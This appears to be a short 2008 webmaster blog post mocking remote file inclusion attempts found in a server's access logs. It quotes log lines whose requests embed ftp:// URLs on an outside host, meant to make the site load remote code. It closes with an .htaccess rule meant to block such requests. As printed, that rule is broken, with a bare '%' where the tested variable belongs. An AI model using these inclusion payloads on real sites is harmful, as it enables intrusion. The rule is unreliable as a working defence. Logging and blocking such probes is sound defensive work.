I ranted about those stupid script kiddies and their fruitless yet annoying attempts to exploit something that isn't there before. Of course that didn't change a thing - we're still seeing more than 20% of the requests on our webserver being inclusion attempts.
A new variation, however, is the use of ftp: links for the inclusion attempt: 81.89.137.99 - - [23/Feb/2008:00:10:34 -0500] "GET /forum/!scanftp://80.50.253.90/upload/trop/oldbis?? HTTP/1.1" 403 26 "-" "libwww-perl/5.805"
81.89.137.99 - - [23/Feb/2008:00:10:34 -0500] "GET /!scanftp://80.50.253.90/upload/trop/oldbis?? HTTP/1.1" 403 26 "-" "libwww-perl/5.805"
(...)

This still seems to be somewhat experimental, though. Notice how the first two requests are broken, as they used "scanftp:", which isn't a valid scheme. The next two are useless, too, since those scripts don't have a "show" parameter. I also like how he threw in an http: inclusion attempt to see if that would make a difference.
The final attempts to exploit something in a file named doeditconfig.php (which is nowhere to be found on our site) appears to be an exploit copied straight from milw0rm. Too bad it's targetted at UBB, which we don't run.
I'd give him +1 point for creativity and -2 points for being too stupid to know what to do with it.
Btw, we have a simple .htaccess rule to block http: inclusion attempts. Let's expand that to cover ftp: links, too:
RewriteEngine On
RewriteCond % ^.+http: [OR]
RewriteCond % ^.+ftp:
RewriteRule .* - [L,F]
There, that should do it.
